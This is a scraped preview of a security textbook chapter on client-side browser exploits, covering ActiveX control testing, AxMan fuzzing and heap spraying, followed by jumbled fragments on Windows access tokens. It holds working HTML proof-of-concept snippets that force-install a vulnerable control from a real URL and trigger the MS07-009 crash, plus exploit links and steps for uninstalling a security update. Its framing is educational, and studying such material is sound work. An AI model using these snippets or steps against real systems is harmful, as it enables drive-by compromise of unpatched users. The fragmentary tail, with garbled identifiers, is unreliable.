gray hat hacking the ethical hackers handbook phần 8 pdf

the object from a script. This control’s ProgID is SPRT.Install.1. The .1 at the end is a kind of version number that can be omitted if there is only one SPRT.Install registered on the system. TIP ActiveX controls are sometimes implemented with DLLs as you see here. However, more often the file extension of the object code is .ocx. An OCX can be treated just like a DLL for our purposes. There’s one last trick you need to know before attempting to instantiate this control to see if we can RebootMachine() or RunCmd(). If you create HTML and run it locally, it will load in the Local Machine zone. Remember from earlier that the rules governing the Local Machine zone are different from the rules in the Internet zone where attackers live. We could build this ActiveX control test in the LMZ, but if we were to find the control to be vulnerable and report that vulnerability to the vendor, they would want to know whether it can be reproduced in the more restrictive Internet zone. So we have two options. First, we could do all our testing on a web server that is in the Internet zone. Or second, we can just tell IE to load this page in the Internet zone even though it really lives on the local machine. The trick to push a page load into a more restrictive zone is called Mark of the Web (MOTW). It only goes one direction. You can’t place the Mark of the Web on a page in the Internet zone telling IE to load it in the Local Machine zone, but you can go the other way. You can read more about the Mark of the Web by following the link in the “Refer- ence” section later. For now, just type exactly what I have in the first line of the following HTML anytime you want to force a page to load in the Internet zone: <! saved from url=(0014)about:internet > <html><body> <object id=a classid="clsid:01010200-5e80-11d8-9e86-0007e96c65ae"></object> <script> function testing() { var b=a.GetHostname(); alert(b); } </script> <input type='button' onClick='testing()' value='Test SupportSoft!'> </body></html> The preceding HTML instantiates the control and names it “a”. It then uses JavaScript to call a method on that object. That method could be RebootMachine(), but GetHostname() makes a better screenshot, as you can see in Figure 15-2. The button is only there for the protection of the tester. The script could just as easily run when the page loaded, but introducing the button might save you some trouble later when you have 50 of these test.html files lying around and accidentally randomly open the one that calls RebootMachine(). So it appears that this control does very bad things that a safe-for-scripting ActiveX con - trol should not do. But this is only dangerous for the people who have this control installed, right? I mean, it’s not like you can force-install an ActiveX control onto some - one’s computer just by them browsing to your web page, can you? Yes and no. Chapter 15: Client-Side Browser Exploits 375 PART IV Gray Hat Hacking: The Ethical Hacker’s Handbook 376 Remember from the “Internet Explorer Security Concepts” section earlier, we said that an attacker at evil.com can host the vulnerable safe-for-scripting ActiveX control and trick a user into accepting it? It looks like this SupportSoft Installer control is widely used for technical support purposes, and as of March 2007 the vulnerable control is being hosted on many websites. You can easily find a copy of the vulnerable control by plugging the filename into your search engine. The filename (tgctlins.dll) is in the registry and these things are typically packaged into .cab files, so the first result searching for tgctlins.cab gave me http://supportcenter.adelphia.net/sdccommon/download/tgctlins.cab. To test whether this works, I’ll build some HTML telling Internet Explorer to download the con - trol from that URL and install it. I’ll then load that HTML on a machine that doesn’t have the control installed yet. That is all done with one simple change to the <OBJECT> tag, specifying a CODEBASE value pointing to the URL. Here’s the new HTML: <! saved from url=(0014)about:internet > <html><body> <object id=a classid="clsid:01010200-5e80-11d8-9e86-0007e96c65ae" codebase= http://supportcenter.adelphia.net/sdccommon/download/tgctlins.cab ></object> <script> function testing() { var b=a.GetHostname(); alert(b); } </script> <input type='button' onClick='testing()' value='Test SupportSoft!'> </body></html> Figure 15-2 SupportSoft GetHostname example When I open that on my test machine, I’m presented with the IE7 security goldbar to click through and then the security warning shown in Figure 15-3. If I can convince the user to click the Install button, IE will download the CAB from the Adelphia site, install the DLL locally, and reload the page. From researching on the Internet after “discovering” this vulnerability, it appears that it was previously discovered just a month earlier by several other security researchers. So while the vulnerability is very real at the time of this writing, the vendor has already released a fix and has engaged Microsoft to issue a “kill bit” for this control. The kill bit is a registry key deployed by Microsoft through an Internet Explorer security update to pre- vent a dangerous ActiveX control or COM object from loading. You can find out more about this type of mitigation technology (and how to reverse it to do the preceding testing yourself) later in this chapter. Reference Mark of the Web http://msdn.microsoft.com/workshop/author/dhtml/overview/motw.asp AxFuzz Most security vulnerabilities in ActiveX controls won’t be as simple to find as a method named RunCmd() on an already-installed safe-for-scripting control. More often, you’ll need to dig into how the control’s methods handle data. One easy way to do that is to fuzz each method with random garbage. AxFuzz was one of the first tools developed to do exactly that and comes in source form packaged with AxEnum. It turns out, however, that AxFuzz does not use a very sophisticated fuzzing algorithm. By default, it will only pass 0 or a long string value for each parameter. So if you want to use AxFuzz, you’ll need to add the fuzzing smarts yourself. It is only a few pages of code, so you’ll be able to quickly figure it out if you’d like to put some research into this tool but we will not discuss it here. Chapter 15: Client-Side Browser Exploits 377 PART IV Figure 15-3 SupportSoft install dialog box AxMan More recently, H.D. Moore (of Metasploit fame) developed a pretty good COM object fuzzer called AxMan. AxMan runs in the browser, simulating a real environment in which to load a COM object. The nice thing about doing this is that every exploitable crash found by AxMan will be exploitable in the real world. The downside is slow throughput—IE script reloads each time you want to test a new combination of fuzzed variables. It also only works with IE6, due to defense-in-depth improvements made to IE7 in this area. But it’s easy to download the tool (http://metasploit.com/users/hdm/ tools/axman), enumerate the locally installed COM objects, and immediately start fuzz - ing. AxMan has discovered several serious vulnerabilities leading to Microsoft security bulletins. Before fuzzing, AxMan requires you to enumerate the registered COM objects on the system and includes a tool (axman.exe) that works almost exactly like AxEnum.exe to dump their associated typelib information. In fact, if you compare axscan.cpp from the AxMan package to axenum.cpp, you’ll see that H.D. ripped most of axscan straight from AxEnum (and gives credit to Shane in the comments). However, the output from AxEnum is a more human-readable format, which is the reason for first introducing AxEnum earlier. Axman.exe (the enumeration tool) runs from the command line on your test system where you’ll be fuzzing. It takes as a single argument the directory where you’d like to store the output files. Just as with axenum.exe, running axman.exe will probably take a couple of hours to complete and will pop up various dialog boxes and whatnot along the way as new processes spawn. When it finishes running, the directory you passed to the program will have hundreds of files. Most of them will be named in the form {CLSID}.js like “{00000514-0000-0010-8000-00AA006D2EA4}.js”. The other important file in this directory is named objects.js and lists the clsid of every registered COM object. It looks like this: var ax_objects = new Array( 'CLSID', '{0000002F-0000-0000-C000-000000000046}', '{00000100-0000-0010-8000-00AA006D2EA4}', '{00000101-0000-0010-8000-00AA006D2EA4}', '{00000103-0000-0010-8000-00AA006D2EA4}', '{00000104-0000-0010-8000-00AA006D2EA4}', '{00000105-0000-0010-8000-00AA006D2EA4}', … '{FFCDB781-D71C-4D10-BD5F-0492EAFFD90A}', '{ffd90217-f7c2-4434-9ee1-6f1b530db20f}', '{FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}', '{FFF30EA1-AACE-4798-8781-D8CA8F655BCA}' ); If you get impatient enumerating registered COM objects and kill axman.exe before it finishes, you’ll need to edit objects.js and add the trailing “);” on the last line. Otherwise the web UI will not recognize the file. When axman.exe finishes running, H.D. recom - mends rebooting your machine to free up system resources consumed by all the COM processes launched. Gray Hat Hacking: The Ethical Hacker’s Handbook 378 Now with a well-formed objects.js and a directory full of typelib files, you’re almost ready to start fuzzing. There are two ways to proceed—you can load the files onto a web server or use them locally by adding the Mark of the Web (MOTW) like we did earlier. Either way you’ll want to 1. Copy the contents of the html directory to your web server or to a local location. 2. Make a subdirectory in that html directory named conf. 3. Copy all the files generated by axenum.exe to the conf subdirectory. 4. If you are running this locally and not using a web server, add the Mark of the Web to the index.html and fuzzer.html files you just copied over. Remember, MOTW for the Internet zone is <!— saved from url=(0014)about:internet —>. You’re now finally ready to start fuzzing. Load the index.html in your browser and you’ll be presented with a page that looks like the one in Figure 15-4. Chapter 15: Client-Side Browser Exploits 379 PART IV Figure 15-4 AxMan interface Gray Hat Hacking: The Ethical Hacker’s Handbook 380 This system had 4600 registered COM objects! Each was listed in objects.js and had a corresponding {CLSID}.js in the conf directory. The web UI will happily start cranking through all 4600, starting at the first or anywhere in the list by changing the Start Index. You can also test a single object by filling in the CLSID text box and clicking Single. If you run AxMan for long enough, you will find crashes and a subset of those crashes will probably be security vulnerabilities. Before you start fuzzing, you’ll want to attach a debugger to your iexplore.exe process so you can triage the crashes with the debugger as the access violations roll in or generate crash dumps for offline analysis. One nice thing about AxMan is the deterministic fuzzing algorithm it uses. Any crash found with AxMan can be found again by rerunning AxMan against the crashing clsid because it does the same fuzzing in the same sequence every time it runs. In this book, we don’t want to disclose vulnerabilities that haven’t yet been reported to or fixed by the vendor, so let’s use AxMan to look more closely at an already fixed vul - nerability. One of the recent security bulletins from Microsoft at the time of writing this chapter was MS07-009, a vulnerability in Microsoft Data Access Components (MDAC). Reading through the security bulletin’s vulnerability details, you can find specific reference to the ADODB.Connection ActiveX control. Microsoft doesn’t always give as much technical detail in the bulletin as security researchers would like, but you can always count on them to be consistent in pointing at least to the affected binary and affected platforms, as well as providing workarounds. The workarounds listed in the bulletin call out the clsid (00000514-0000-0010-8000-00AA006D2EA4), but if we want to reproduce the vulnerability, we need the property name or method name and the arguments that cause the crash. Let’s see if AxMan can rediscover the vulnerability for us. TIP If you’re going to follow along with this section, you’ll first want to disconnect your computer from the Internet because we’re going to expose our team machine and your workstation to a critical browse-and-you’re- owned security vulnerability. There is no known exploit for this vulnerability as of this writing, but please, please reapply the security update after you’re done reading. Because this vulnerability has already been fixed with a Microsoft security update, you’ll first need to uninstall the security update before you’ll be able to reproduce it. You’ll find the update in the Add/Remove Programs dialog box as KB 927779. Reboot your computer after uninstalling the update and open the AxMan web UI. Plug in the single clsid, click Single, and a few minutes later you’ll have the crash shown in Figure 15-5. In the window status field at the bottom of the screen, you can see the property or method being tested at the time of the crash. In this case, it is the method “Execute” and we’re passing in a long number as the first field, a string ‘1’ as the second field, and a long number as the third field. We don’t know yet whether this is an exploitable crash, so let’s try building up a simple HTML reproduction to do further testing in IE directly. Chapter 15: Client-Side Browser Exploits 381 PART IV NOTE If different arguments crash your installation, use those values in place of the values you see in the HTML here. <! saved from url=(0014)about:internet > <html><body> <object id=a classid="clsid:00000514-0000-0010-8000-00AA006D2EA4"></object> <script> function testing() { var b=4294967296; var c='1'; try { a.Execute(b,c,b); } catch(e) {} } </script> <input type='button' onClick='testing()' value='Test ADODB.Connection.Execute'> </body></html> Let’s fire that up inside Internet Explorer. Figure 15-5 ADODB.Connection crash with AxMan Bingo! You can see in Figure 15-6 that we hit the same crash outside AxMan with a simple HTML test file. If you test this same HTML snippet after applying the Microsoft security update, you’ll find it fixed. That was pretty easy! If this were actually a new crash that reproduced consistently with a fully patched application, the next step would be to determine whether the crash were exploitable. We learned earlier in the book how to do this. For any exploitable vulnerability, we’d want to next report it to the affected vendor. The vulnerability report should include a small HTML snippet like we created earlier, the DLL version of the object being tested, and the IE/OS platform. Okay, let’s say that you’ve e-mailed the vulnerability to the vendor and have received confirmation of your report. Now you’d like to continue fuzzing both this control and other objects in your list. Unfortunately, ADODB.Connection was the first ActiveX con - trol in the list on at least one of my test machines, and the Execute() method is very early in the list of methods. Every time you start fuzzing with AxMan you’ll hit this crash in the first few minutes. You have a few options if you’d like to finish your fuzzing run. First, you could start fuzzing at an index after ADODB.Connection. In Figure 15-5, it was Gray Hat Hacking: The Ethical Hacker’s Handbook 382 Figure 15-6 ADODB.Connection crash reproduced with a stand-alone HTML test file Chapter 15: Client-Side Browser Exploits 383 PART IV index #39, so starting at index #40 would not crash in this exact clsid. However, if you look at the AxEnum output for ADODB.Connection, or look inside the {00000514- 0000-0010-8000-00AA006D2EA4}.js file, you’ll see there are several other methods in this same control that we’d like to fuzz. So your other option is to add this specific method from this specific clsid to AxMan’s skip list. This list is maintained in blacklist.js. You can exclude an entire clsid, a specific property being fuzzed, or a specific method. Here’s what the skip list would look like for the Execute method of the ADODB.Connec - tion ActiveX control: blmethods["{00000514-0000-0010-8000-00AA006D2EA4}"] = new Array( 'Execute' ); As H.D. Moore points out in the AxMan README file, blacklist.js can double as a list of discovered bugs if you add each crashing method to the file with a comment showing the passed-in parameters from the IE status bar. Lots of interesting things happen when you instantiate every COM object registered on the system and call every method on each of the installed ActiveX controls. You’ll find crashes as we saw earlier, but sometimes by-design behavior is even more interest - ing than a crash, as evidenced by the RunCmd() SupportSoft ActiveX control. If a “safe” ActiveX control were to write or read attacker-supplied stuff from a web page into the registry or disk, that would be potentially interesting behavior. AxMan 1.0 has a feature to help highlight cases of ActiveX controls doing this type of dangerous thing with untrusted input from the Internet. AxMan will use the unique string ‘AXM4N’ as part of property and method fuzzing. So if you run filemon and regmon filtering for ‘AXM4N’ and see that string appear in a registry key operation or file system lookup or write, take a closer look at the by-design behavior of that ActiveX control to see what you can make it do. In the AxMan README file, H.D. points out a couple of interesting cases that he has found in his fuzzing. AxMan is an interesting browser-based COM object fuzzer that has led to several Microsoft security bulletins and more than a dozen Microsoft-issued COM object kill bits. COM object fuzzing with AxMan is one of the easier ways to find new vulnerabilities today. Download it and give it a try! References AxMan homepage http://metasploit.com/users/hdm/tools/axman/ ADODB.Connection security bulletin www.microsoft.com/technet/security/Bulletin/MS07- 009.mspx Heap Spray to Exploit Back in the day, security experts believed that buffer overruns on the stack were exploit - able, but that heap-based buffer overruns were not. And then techniques emerged to make too-large buffer overruns into heap memory exploitable for code execution. But some people still believed that crashes due to a component jumping into uninitialized or bogus heap memory were not exploitable. However, that changed with the introduc - tion of InternetExploiter from a hacker named Skylined. InternetExploiter How would you control execution of an Internet Explorer crash that jumped off into random heap memory and died? That was probably the question Skylined asked him - self in 2004 when trying to develop an exploit for the IFRAME vulnerability that was eventually fixed with MS04-040. The answer is that you would make sure the heap loca - tion jumped to is populated with your shellcode or a nop sled leading to your shellcode. But what if you don’t know where that location is, or what if it continually changes? Sky - lined’s answer was just to fill the process’s entire heap with nop sled and shellcode! This is called “spraying” the heap. An attacker-controlled web page running in a browser with JavaScript enabled has a tremendous amount of control over heap memory. Scripts can easily allocate an arbi - trary amount of memory and fill it with anything. To fill a large heap allocation with nop slide and shellcode, the only trick is to make sure that the memory used stays as a contiguous block and is not broken up across heap chunk boundaries. Skylined knew that the heap memory manager used by IE allocates large memory chunks in 0x40000- byte blocks with 20 bytes reserved for the heap header. So a 0x40000 – 20 byte allocation would fit neatly and completely into one heap block. InternetExploiter program- matically concatenated a nop slide (usually 0x90 repeated) and the shellcode to be the proper size allocation. It then created a simple JavaScript Array() and filled lots and lots of array elements with this built-up heap block. Filling 500+ MB of heap memory with nop slide and shellcode grants a fairly high chance that the IE memory error jumping off into “random” heap memory will actually jump into InternetExploiter-controlled heap memory. In the “References” section that follows, we’ve included a number of real-world exploits that used InternetExploiter to heap spray. The best way to learn how to turn IE crashes jumping off into random heap memory into reliable, repeatable exploits via heap spray is to study these examples and try out the concepts for yourself. You should try to build an unpatched XPSP1 VPC with the Windows debugger for this purpose. Remove the heap spray from each exploit and watch as IE crashes with execution pointing out into random heap memory. Then try the exploit with heap spray and inspect memory after the heap spray finishes before the vulnerability is triggered. Finally, step through the assembly when the vulnerability is triggered and watch how the nop slide is encountered and then the shellcode is run. References InternetExploiter homepage (outdated) www.edup.tudelft.nl/~bjwever/menu.html.php MS04-040 exploit www.milw0rm.com/exploits/612 MS05-002 exploit www.milw0rm.com/exploits/753 MS05-037 exploit www.milw0rm.com/exploits/1079 MS06-013 exploit www.milw0rm.com/exploits/1606 MS06-055 exploit www.milw0rm.com/exploits/2408 Gray Hat Hacking: The Ethical Hacker’s Handbook 384 [...]... identifying the workstation or domain following by a relative identifier (RID) that identifies the user or group within the universe of that workstation or domain The examples that follow are for my XP machine: • SID: S-1-5-21-1060 284 2 98- 507921405-1606 980 8 48- 500 is the local Administrator account • SID: S-1-5-21-1060 284 2 98- 507921405-1606 980 8 48- 501 is the local Guest account • SID: S-1-5-21-1060 284 2 98- 507921405-1606 980 8 48- 1004... performed by the operating system anytime access to a securable object is requested The other half of the AccessCheck operation is the security descriptor (SD) of the object for which access is being requested The security descriptor describes the security protections of the object by listing all the entities that are allowed access to the object More specifically, the SD holds the owner of the object, the. .. provided by the security descriptor of the object requested Windows implements this logic in a function called AccessCheck The two phases of the AccessCheck function we are going to talk about in this section are the privilege check and the DACL check Gray Hat Hacking: The Ethical Hacker’s Handbook 3 98 AccessCheck’s Privilege Check Remember that the AccessCheck is a generic function that is done before... system They come in the form S-[revision level]-[authority value]-[identifier] For example: Gray Hat Hacking: The Ethical Hacker’s Handbook 390 NOTE The RID of the original local Administrator account is always 500 You might even hear the Administrator be called the “500 account.” Access Token Allow me to start the explanation of access tokens with an example that might help you understand them If... S-1-5-21-1060 284 2 98- 507921405-1606 980 8 48- 1004 is a local Workstation account PART IV Every user and every entity for which the system needs to make a trust decision is assigned a security identifier (SID) The SID is created when the entity is created and remains the same for the life of that entity No two entities on the same computer will ever have the same SID The SID is a unique identifier that shows up every place a user or other... on the desktop of an Administrator but running in a process with a restricted token could break out of restricted token jail and run with a normal, privileged token (Hint: The desktop is the security boundary.) PART IV Figure 16-3 Gray Hat Hacking: The Ethical Hacker’s Handbook 394 Security Descriptor (SD) It’s important to understand the token because that is half of the AccessCheck operation, the. .. other stuff, but that’s not super important right now For the purpose of understanding the DACL check, the AccessCheck function will go through something like the process pictured in Figure 16-7 and described in the steps that follow Check Explicit Deny ACEs The first step of the DACL check is to compare the desiredAccess mask passed in against the security descriptor’s DACL, looking for any ACEs that... each bit of the desired access is allowed, this request moves on to the next phase Gray Hat Hacking: The Ethical Hacker’s Handbook 400 Check for Presence of Restricted Tokens Even if all the access has been granted through explicit or inherited ACEs, the AccessCheck function still needs to check for restricted SIDs in the token If we’ve gotten this far and there are no restricted tokens in the SID, access... restricted SIDs present in the token are used in the evaluation That means that for access to be granted, access must be allowed either by an explicit or inherited ACE to one of the restricted SIDs in the token Unfortunately, there isn’t a lot of really good documentation on how restricted tokens work Check the “References” section that follows for blogs and MSDN articles The idea is that the presence of a... Double-clicking one of the processes brings up more detail, including a human-readable display of the process token, as seen in Figure 16-9 PART IV Figure 16 -8 Process Explorer Gray Hat Hacking: The Ethical Hacker’s Handbook 402 Figure 16-9 Process Explorer token display Process Explorer makes it easy to display the access token of any running process It’s one of the few tools that I always put on the Quick Launch . S-1-5-21-1060 284 2 98- 507921405-1606 980 8 48- 500 is the local Administrator account. • SID: S-1-5-21-1060 284 2 98- 507921405-1606 980 8 48- 501 is the local Guest account. • SID: S-1-5-21-1060 284 2 98- 507921405-1606 980 8 48- 1004. www.milw0rm.com/exploits/24 08 Gray Hat Hacking: The Ethical Hacker’s Handbook 384 Protecting Yourself from Client-Side Exploits This chapter was not meant to scare you away from browsing the Web or using e-mail. The. find more and more elaborate vulnerabilities. Gray Hat Hacking: The Ethical Hacker’s Handbook 388 PART IV This section will be a walkthrough of the four key foundational components you’ll need

Định dạng
Số trang	57
Dung lượng	13,54 MB